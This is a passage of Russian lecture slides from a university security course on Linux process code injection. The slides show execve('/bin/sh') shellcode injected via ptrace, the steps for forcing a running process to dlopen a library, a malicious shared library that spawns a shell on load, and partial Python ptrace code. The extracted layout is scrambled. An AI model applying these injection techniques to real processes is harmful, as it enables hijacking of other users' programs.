Лекция 5
.pdfПодмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Запуск
Выделение памяти
$./simple_loop
22222: I'm alive and now ... $ ./alloc_pages.py -p \
22222: I'm alive and now ... |
|
$(pgrep simple_loop) -n 1 \ |
22222: I'm alive and now ... |
|
-d $(echo -e '\x48\x31\xd2\x48' \ |
22222: I'm alive and now ... |
|
'\x31\xf6\x48\x31\xc0\x48\xb9 ' \ |
22222: I'm alive and now ... |
|
'\x2f\x2f\x62\x69\x6e\x2f\x73 ' \ |
22222: I'm alive and now ... |
|
'\x68\x50\x51\xb0\x3b\x48\x89 ' \ |
|
|
'\xe7\x0f\x05') |
|
|
attached |
|
|
successful trap |
|
|
rwx page has address 0x7f1965eba000L |
Запуск shell-интерпретатора |
|
|
$ uname -r |
|
$ ./call_execve_via_addr.py \ |
|
||
3.16.0-7-amd64 |
|
-p $(pgrep simple_loop) \ |
|
|
-a $(printf "%d" 0x7f1965eba000) |
|
|
attached |
|
|
successful trap |
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
38/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Алгоритм инъекции кода (3)
Подключиться к процессу запущенной программы simple_loop
Выделить память на чтение/запись/исполнение
Записать строку, содержащую путь до инъектируемой so-библиотеки, в выделенную память
Установить значение регистра rax равным адресу функции dlopen
Выполнить переход по указанному адресу (call rax или jmp rax)
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
39/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Алгоритм инъекции кода (3)
Подключиться к процессу запущенной программы simple_loop
Выделить память на чтение/запись/исполнение
Записать строку, содержащую путь до инъектируемой so-библиотеки, в выделенную память
Установить значение регистра rax равным адресу функции dlopen
Выполнить переход по указанному адресу (call rax или jmp rax)
Ограничение: программа simple_loop должна быть собрана с поддержкой библиотеки libdl.so (simple_loop ! simple_loop_dl)
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
39/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
||
|
simple_loop.c |
|
||
1 |
# include < stdio .h > |
|
|
|
2 |
# include < unistd .h > |
|
||
3 int main ( int argc , |
char * argv []) |
|
||
4 |
{ |
|
|
|
5 |
const int nsec = 5; |
|
||
6 |
while |
(1) { |
|
|
7 |
printf ("%d: I 'm |
alive and now I want to sleep for %d sec\n", |
||
8 |
|
getpid (), |
nsec ); |
|
9 |
sleep ( nsec ); |
|
|
|
10 |
} |
|
|
|
11 |
return |
0; |
|
|
12 |
} |
|
|
|
Компиляция: gcc simple_loop.c Проверка корректности линковки: ldd simple_loop_dl
linux-vdso.so.1 (0x00007fff3ad07000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f2546a1b000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2546670000) /lib64/ld-linux-x86-64.so.2 (0x00007f2546c1f000)
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
40/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
dlopen_addr.c |
|
|
1 |
# include < stdio .h > |
|
|
2 |
# include < dlfcn .h > |
|
|
3 |
# include < unistd .h > |
|
|
4 |
# define |
DL_LIB "/ lib / x86_64 - linux - gnu / libdl -2.19. so " |
|
5 |
|
|
|
6 int main ( int argc , char * argv []) |
|
||
7 |
{ |
|
|
8 |
void *l = dlopen ( DL_LIB , RTLD_LAZY ); |
|
|
9 |
printf (" RTLD_LAZY : %d\n", RTLD_LAZY ); |
|
10if (l != NULL )
11{
12void *s = dlsym (l, " dlopen ");
13if (s != NULL )
14printf (" dlopen address : %llx\n", ( unsigned long long )s);
15else
16printf (" Could not find dlopen \n");
17dlclose (l);
18}
19else
20printf (" Could not open the library '%s '\n", DL_LIB );
21sleep (10);
22return 0;
23}
Компиляция: gcc -c dlopen_addr.c -o dlopen_addr.o Линковка: gcc dlopen_addr.o -ldl -o dlopen_addr
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
41/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
objdump dlopen_addr (аргументы функции dlopen)
$ objdump -M intel -d dlopen_addr | grep -B 5 'call.*dlopen'
40073a: |
48 |
83 |
ec 20 |
|
sub |
rsp,0x20 |
|
40073e: |
89 |
7d |
ec |
|
|
mov |
DWORD PTR [rbp-0x14],edi |
400741: |
48 |
89 |
75 |
e0 |
|
mov |
QWORD PTR [rbp-0x20],rsi |
400745: be 01 |
00 |
00 |
00 |
mov |
esi,0x1 |
||
40074a: bf 78 |
08 |
40 |
00 |
mov |
edi,0x400878 |
||
40074f: |
e8 |
ac fe ff ff |
call |
400600 <dlopen@plt> |
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
42/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
objdump dlopen_addr (аргументы функции dlopen)
$ objdump -M intel -d dlopen_addr | grep -B 5 'call.*dlopen'
40073a: |
48 |
83 |
ec 20 |
|
sub |
rsp,0x20 |
|
40073e: |
89 |
7d |
ec |
|
|
mov |
DWORD PTR [rbp-0x14],edi |
400741: |
48 |
89 |
75 |
e0 |
|
mov |
QWORD PTR [rbp-0x20],rsi |
400745: be 01 |
00 |
00 |
00 |
mov |
esi,0x1 |
||
40074a: bf 78 |
08 |
40 |
00 |
mov |
edi,0x400878 |
||
40074f: |
e8 |
ac fe ff ff |
call |
400600 <dlopen@plt> |
Первый аргумент (имя загружаемой so-библиотеки) передается через регистр edi.
Второй аргумент (RTLD_LAZY) передается через регистр esi.
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
42/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
Смещение функции dlopen относительно адреса libdl
$./dlopen_addr RTLD_LAZY: 1
dlopen address: 7f9586676090
$cat /proc/$(pgrep dlopen_addr)/maps | grep libdl 7f9586675000-7f9586678000 r-xp ... /lib/x86_64-linux-gnu/libdl-2.19.so 7f9586678000-7f9586877000 ---p ... /lib/x86_64-linux-gnu/libdl-2.19.so 7f9586877000-7f9586878000 r--p ... /lib/x86_64-linux-gnu/libdl-2.19.so 7f9586878000-7f9586879000 rw-p ... /lib/x86_64-linux-gnu/libdl-2.19.so
$python -c "print 'offset:', 0x7f9586676090 - 0x7f9586675000" offset: 4240
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
43/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
execve_sh_dl.c (код инъектируемой библиотеки)
1 |
# include < stdio .h > |
2 |
# include < unistd .h > |
3 |
|
4 void __attribute__ (( constructor )) on_load () |
|
5 |
{ |
6 |
printf (" Hello from dll\n"); |
7 |
execve ("/bin/sh", 0, 0); |
8 |
} |
Компиляция: gcc -c -fPIC execve_sh_dl.c -o execve_sh_dl.o Линковка: gcc -shared execve_sh_dl.o -o execve_sh_dl.so
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
44/50 |
Подмена dll |
Изменение дампа памяти Python-процесса |
Инъекция кода |
|
|
|
py_ptrace.py (10)
177
178 import re
179
180 def call_execve_via_dl (pid , addr ):
181libc . ptrace ( PTRACE_ATTACH , pid , None , None )
182status = os . waitpid (pid , 0)
183 if os . WIFSTOPPED ( status [1]) and \
184os . WSTOPSIG ( status [1]) == signal . SIGSTOP :
185print ' attached '
186else :
187print ' not attached '
188sys . exit (1)
189
190# get registers
191regs = user_regs_struct ()
192libc . ptrace ( PTRACE_GETREGS , pid , None ,
193 |
ctypes . byref ( regs )) |
194 |
|
195# set new values of registers
196regs . rsi = 1
197regs . rdi = addr
198n = None
Браницкий А.А., СПбГУТ |
Лекция 5, Санкт-Петербург, 2021 |
45/50 |